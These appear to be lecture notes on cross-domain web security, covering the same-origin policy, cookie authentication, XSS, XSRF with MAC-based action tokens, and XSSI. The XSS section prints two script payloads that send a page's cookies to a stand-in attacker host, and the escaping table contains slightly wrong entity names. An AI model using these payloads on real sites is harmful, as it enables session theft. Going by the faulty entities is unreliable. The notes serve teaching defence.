Cross-Domain Security in Web Applications

I. Interaction between Web Pages from Different Domains

a. Possible interactions limited by same origin policy
 - Links, embedded frames, data inclusion across domains still possible
 - Client-side scripts can make requests cross-domain

b. HTTP & cookie authentication two common modes
 - Cached credentials associated with browser instance
 - Future requests don’t need further authentication

II. HTML, JavaScript, and the same-origin policy

a. Modern browsers use DHTML, CSS, JS
 - Support style layout through CSS
 - Behavior directives through Javascript

 - Access Document Object Model allowing reading/modifying page and responding to events

b. Origin: protocol, hostname, port, but not path

c. Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin

III. HTTP Request Authentication

a. HTTP is stateless, so web apps have to associate requests with users themselves

b. HTTP authentication: username/password automatically supplied in HTTP header

c. Cookie authentication: credentials requested in form, after POST app issues session token

d. Browser returns session cookie for each request

e. Hidden-form authentication: hidden form fields transfer session token


f. HTTP & cookie authentication credentials cached

IV. Cross-Site Scripting (XSS)

a. What if attacker can get a malicious script to be executed in our application?


b. Other Sources of Untrusted Data
 - HTML form fields
 - URL path

c. XSS Exploits

 - Stealing Cookies

• The malicious script could cause the browser to send attacker all cookies for our app’s domain
• Gives attacker full access to Alice’s session

<script>document.location=’http://hackerhome.org/log?c=’+document.cookie;</script>

<script>new Image().src=’http://hackerhome.org/log?c=’+document.cookie;</script>

 - Scripting the Vulnerable App

• Complex script with specific goal
• Doesn’t have to make a direct attack, revealing his IP address, harder to trace

 - Modifying Web Pages

d. XSS Implications

 - XSS is not just about stealing cookies

 - Attacker gets to inject arbitrary script into our web application

 - Browser thinks it is coming from your application

 - XSS is a hole/backdoor that allows attacker to Control your web application

e. Reflected vs Stored XSS

 - Reflected XSS: script injected into a request and reflected immediately in response

• As in the query parameter example

 - Stored XSS: script delivered to victim some time after being injected

• Stored somewhere in the meantime
• Attack is repeatable, more easily spread

 - MySpace: stored XSS Worm, October 2005

• Propagated from one user profile page to the next via friend connections
• Went from 1 to over 1M “infected” profiles in < 6 hours
• MySpace went offline to fix
• Samy Kamkar: first FBI conviction for XSS attack

 - Preventing XSS

 - Input Validation vs Output Sanitization

• XSS is not an input validation problem
• Strings with HTML metachars not a problem until they’re displayed on the webpage
• Might be valid elsewhere, e.g. in a database and thus not validated later when output to HTML
• Output Sanitization/Escaping: check strings as you insert into HTML doc – library functions exist

 - HTML Escaping

• <  &It;
• >  &rt;
• “  &quot;
• &  &amp;

IV. Types of XSS Mitigation

a. Cross-Site Request Forgery (XSRF)

 - Malicious site can initiate HTTP requests to our app on Alice behalf without her knowledge

 - Cached credentials sent to our server regardless who made the request

b. XSRF Impacts

 - Malicious site can’t read info, but can make write requests to our app.

 - No code injected into our app.

 - Who should worry about XSRF?

• Apps with server-side state: user info, updatable profiles such as usernames/passwords (e.g. Facebook)
• Apps that do financial transactions for users (e.g. Amazon, eBay)
• Any app that stores user data (e.g. calendars, tasks)

c. Preventing XSRF

 - HTTP requests originating from user action are indistinguishable from those initiated by a script

 - Need methods to distinguish valid requests

• Inspecting Referer Headers
• Validation via User-Provided Secret
• Validation via Action Token

d. Validation via Action Token

 - Add special action tokens as hidden fields to “genuine” forms to distinguish from forgeries

 - Same-origin policy prevents 3rd party from inspecting the form to find the token

 - Need to generate and validate tokens so that

• Malicious 3rd party can’t guess or forge token
• Then can use to distinguish genuine and forged forms

V. Action Tokens

a. Generating Action Tokens

 - Concatenate value of timestamp or counter c with the Message Authentication Code (MAC) of c under secret key K:

• Token: T = MACk(c)||c
• Security dependent on crypto algorithm for MAC
• || denotes string concatenation, T can be parsed into individual components later

 - Recall from 1.5 MACs are function of message and secret key

b. Validating Action Tokens

 - Split token T into MAC and other components

 - Compute expected MAC for given c and check that given MAC matches

 - If MAC algorithm is secure and K is secret, 3rd party can’t create MACk(c), so can’t forge token

c. Problem with Scheme

 - Application will accept any token we’ve previously generated for a browser

 - Attacker can use our application as an oracle.

• Uses own browser to go to page on our site with form
• Extracts the token from hidden field in form

 - Need to also verify that incoming request has action token sent to the same browser

d. Fixing the Problem

 - Bind value of action token to a cookie

• Same-origin policy prevents 3rd party from reading or setting our cookies
• Use cookie to distinguish between browser instances

 - New Scheme

• Cookie C is unpredictable, unique to  browser instance
• C can be session authentication cookie
• Or random 128 bits specifically for this purpose
• L = action URL for form with action token
• Compute T = MACk(C||d||L), d is separator (e.g. ;)
• d ensures uniqueness of concatenation

e. Cross-Site script inclusion (XSSI)

 - 3rd party can include <script> sourced from us

 - Static script inclusion

• Purpose is to enable code sharing, i.e providing JavaScript library for others to use
• Including 3rd-party script dangerous without control since it runs in our context with full access to client data

 - Script inclusion vulnerability

• Instead of traditional postback of new HTML doc, asynchronous requests (AJAX) used to fetch data
• Data exchanged via XML or JSON (arrays, dicts)

f. Preventing XSSI

 - Can’t stop others from loading our resources

 - Similar problem with preventing XSRF

 - Need to distinguish 3rd party references from legitimate ones, so we can deny the former

 - Authentication via Action Token